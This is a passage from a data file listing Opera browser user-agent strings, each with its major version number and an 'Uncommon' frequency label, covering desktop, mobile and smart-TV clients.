Safari/537.36 OPR/21.0.1432.57 (Edition Campaign 47)\",21,Uncommon\nMozilla/5.0 (HW-HUAWEI_U2801;U;REX/1.0;BREW/5.0.4.1;Profile/MIDP-2.0 Configuration/CLDC-1.1;128*160) Opera/9.70,9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 OPR/26.0.1656.24\",26,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2657.0 Safari/537.36 OPR/37.0.2171.0 (Edition developer)\",37,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 OPR/25.0.1620.0 OMI/4.3.18.7.Dominik.0 VSTVB MB100 HbbTV/1.2.1 (; PANASONIC; MB100; 0.1.34.5; ;) SmartTvA/3.0.0 UID(00:09:DF:A8:F1:FD/MB100/PANASONIC/0.1.34.5)\",25,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\nOpera/9.80 (Linux armv7l; Opera Mobi/1; MeeGo) Presto/2.11.355 Version/12.10,12,Uncommon\nOpera/9.80 (Windows Mobile; WCE; Opera Mobi/WMD-50433; U; en-GB) Presto/2.4.13 Version/10.00,10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/52.0\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.3; NokiaX2DS Build/JLS36C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Mobile Safari/537.36 OPR/21.0.1437.75439\",21,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.2.2; Lenovo A880 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36 OPR/42.9.2246.119956\",42.9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1159\",44,Uncommon\n\"Mozilla/5.0 (X11;Linux x86_64;Ubuntu/15.10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.82 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2774.3 Safari/537.36 OPR/40.0.2288.0 (Edition developer)\",40,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.45.23.11 (JVC, Mxl66140_V, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0(Windows NT 6.2) AppleWebKit/537.36(KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 OPR/15.0.1147.153\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/30.0.1835.88 (Edition RMV)\",30,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.179 VSTVB MB100 HbbTV/1.2.1 (; HITACHI; MB100; 2.15.20.0; ;) SmartTvA/3.0.0\",31,Uncommon\nOpera/9.20 (Windows NT 5.1; U; en),9,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.1.2; GT-I9100 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Mobile Safari/537.36 OPR/29.0.1809.91837\",29,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1; Lenovo P1ma40 Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.105088\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.36\",34,Uncommon\n\"Opera/9.80 (Linux armv7l; HbbTV/1.2.1 (; Philips; ; ; ; ) CE-HTML/1.0 NETTV/6.0.0 SmartTvA/3.0.0 (PhilipsTV, 6.1.1,) en Firmware/) Presto/2.12.407 Version/12.50\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.122 Safari/537.36 OPR/24.0.1558.64\",24,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 OPR/29.0.1795.47\",29,Uncommon\nOpera/9.80 (Windows NT 6.2) Presto/2.12.388 Version/12.12,12,Uncommon\nOpera/9.80 (Android; Linux; Opera Mobi/ADR-1012221546; U; pl) Presto/2.7.60 Version/10.5,10.5,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.82 Safari/537.36 OPR/29.0.1795.41 (Edition beta)\",29,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 OPR/27.0.1689.69\",27,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; en) Opera 12.00,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Uncommon\nOpera/9.80 (Windows NT 5.1; Edition Campaign 21) Presto/2.12.388 Version/12.15,12,Uncommon\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2687.0 Safari/537.36 OPR/38.0.2205.0 (Edition developer)\",38,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.56\",49,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.21 Safari/537.36 OPR/40.0.2308.3 (Edition beta)\",40,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36 OPR/15.0.1162.61541\",15,Uncommon\n\"Opera/9.80 (Linux armv7l; HbbTV/1.2.1 (; Philips; ; ; ; ) NETTV/5.1.1 SmartTvA/3.0.0 (PhilipsTV, 6.1.1,) Firmware/) Presto/2.12.407 Version/12.50\",12,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.193\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\nOpera/9.80 (Windows NT 6.1; Edition Campaign 21) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.9.168 Version/11.50,11,Uncommon\nOpera/9.80 (Windows NT 6.1; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00,10,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.50,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 OPR/25.0.1614.35 (Edition beta)\",25,Uncommon\n\"Opera/9.80 (Linux armv7l; HbbTV/1.2.1 (; Philips; 55PFK719912; ; PHILIPSTV;  CE-HTML/1.0 NETTV/4.4.1 SmartTvA/3.0.0 Firmware/012.003.026.128 (PhilipsTV, 3.1.1,)en) ) Presto/2.12.407 Version/12.50\",12,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; MRA 8.2 (build 7033)) Presto/2.12.388 Version/12.14,12,Uncommon\nOpera/9.80 (X11; Linux zbov; U; fr) Presto/2.10.254 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60,gzip(gfe)\",26,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.92117\",29,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; A37f Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Mobile Safari/537.36 OPR/34.0.2044.101442\",34,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2308.90\",40,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\n\"Opera/9.80 (Linux armv7l; HbbTV/1.2.1 (; Philips; ; ; ; ) CE-HTML/1.0 NETTV/6.0.0 SmartTvA/3.0.0 (PhilipsTV, 6.1.1,) en) Presto/2.12.407 Version/12.50\",12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2739.0 Safari/537.36 OPR/39.0.2248.0 (Edition developer)\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2739.0 Safari/537.36 OPR/39.0.2248.0 (Edition developer)\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32\",48,Uncommon\nOpera/10.60 (Linux sh4 ; U; HbbTV/1.1.1 (;;;;;); CE-HTML; TechniSat DIGIT ISIO S; de) Presto/2.6.33 Version/10.60,10,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.13,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.4; E2105 Build/24.0.A.5.14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36 OPR/41.0.2246.110333\",41,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 OPR/15.0.1147.153\",15,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.58 Safari/537.31 OPR/14.0.1074.58201\",14,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.44\",32,Uncommon\nOpera/9.80 (X11; Linux zvav; U; de) Presto/2.12.423 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\nOpera/9.80 (Windows 95; U; en) Presto/2.6.30 Version/10.63,10,Uncommon\nOpera/9.80 (Linux armv6l ; U; CE-HTML/1.0 NETTV/3.0.1;; en) Presto/2.6.33 Version/10.60,10,Uncommon\nOpera/9.80 (X11; Linux i686; Ubuntu/16.04) Presto/2.12.388 Version/12.16,12,Uncommon\nOpera/9.80 (Windows NT 6.1; U; Edition Next; ru) Presto/2.11.310 Version/12.50,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2188.2 Safari/537.36 OPR/27.0.1683.0 (Edition developer)\",27,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.52,11,Uncommon\n\"Mozilla/5.0 (Linux; Andr0id 7.1.2; QM163E Build/NZH54D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/32.0.2128.0 OMI/4.8.0.142.Racer.42\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 OPR/49.0.2725.34\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2687.0 Safari/537.36 OPR/38.0.2205.0 (Edition developer)\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.66\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 OPR/34.0.2036.47\",34,Uncommon\nOpera/9.64 (Windows 98; U; en) Presto/2.1.1,9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Uncommon\nOpera/9.80 (Linux i686; U; fr) Presto/2.10.287 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.37\",52,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 7.0; de-DE; PRA-LX1 Build/HUAWEIPRA-LX1) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 OPR/12.19.0.1 Mobile Safari/537.36\",12,Uncommon\nMozilla/5.0 (X11; Linux i686; U) Opera 7.50  [en],7,Uncommon\nOpera/9.80 (Windows NT 6.1; U; ru) Presto/2.10.229 Version/11.61,11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 OPR/25.0.1614.71\",25,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.5.24 Version/10.53,10,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\nOpera/9.80 (Windows NT 5.1; Edition Yx) Presto/2.12.388 Version/12.16,12,Uncommon\nOpera/9.80 (Linux armv7l; Opera TV Store/5606; (SonyBDP/BDV14)) Presto/2.12.362 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 OPR/30.0.1835.125\",30,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.0; BLU STUDIO C 5+5 Build/LRX21M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Mobile Safari/537.36 OPR/34.0.2044.98679\",34,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00,8,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51 (Edition Rambler)\",28,Uncommon\nOpera/9.80 (Linux i686; Opera Mobi/46154) Presto/2.11.355 Version/12.10,12,Uncommon\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 OPR/38.0.2220.29\",38,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (HITACHI, Mxl661L32, wired) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 OPR/25.0.1614.68\",25,Uncommon\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.10.229 Version/11.60,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32\",48,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Opera/9.80 (Linux sh4; U; HbbTV/1.1.1 (+PVR; Loewe; SL150; LOH/3.10;;) CE-HTML/1.0 Config(L:deu,CC:DEU); en) Presto/2.10.250 Version/11.60\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Uncommon\nOpera/9.80 (Windows NT 6.1; U; Edition United States Local; en) Presto/2.10.229 Version/11.62,11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.0.4; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.59 Safari/537.36 OPR/26.0.1656.87080\",26,Uncommon\nOpera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.10,12,Uncommon\nOpera/9.80 (Linux) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.138 Safari/537.36 OPR/22.0.1485.81203\",22,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2756.0 Safari/537.36 OPR/40.0.2267.0 (Edition developer)\",40,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 OPR/16.0.1196.80\",16,Uncommon\nOpera/9.80 (Windows NT 6.0; Edition Campaign 21) Presto/2.12.388 Version/12.18,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51 (Edition Ask)\",28,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.207\",31,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.0.4; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36 OPR/25.0.1619.84037\",25,Uncommon\nOpera/9.80 (X11; Linux x86_64; U; pl) Presto/2.10.229 Version/11.62,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 OPR/31.0.1889.99 (Edition Campaign 38)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 OPR/29.0.1795.47\",29,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.2; BLU STUDIO G Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Mobile Safari/537.36 OPR/29.0.1809.91837\",29,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71 (Edition Campaign 76)\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2700.0 Safari/537.36 OPR/38.0.2213.0 (Edition developer)\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.54 (Edition Campaign 70)\",40,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.2.2; A52+ Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.64 Mobile Safari/537.36 OPR/33.0.2002.98088\",33,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2305.3 Safari/537.36 OPR/29.0.1795.0 (Edition developer)\",29,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Mobile Safari/537.36 OPR/34.0.2044.98679\",34,Uncommon\nOpera/9.80(Windows NT 5.1;U;en)Presto/22.9.168 Version/11.51,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3018.3 Safari/537.36 OPR/45.0.2531.0 (Edition developer)\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.39\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32 (Edition Campaign 34)\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2824.2 Safari/537.36 OPR/41.0.2329.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2657.0 Safari/537.36 OPR/37.0.2171.0 (Edition developer)\",37,Uncommon\n\"Mozilla/5.0 (Linux x86_64) AppleWebKit/537.36 KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 OPR/ 17.0.1251.0 OMI/4.0.2.15.NAME.5 TV Store/4.0 Model/ReferenceOEM-ReferenceDevice\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.26314\",46,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2096.0 Safari/537.36 OPR/25.0.1583.1 (Edition Developer)\",25,Uncommon\nOpera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1103311355; U; en) Presto/2.7.81 Version/11.00,11,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.11.6; Edition MAS) Presto/2.12.388 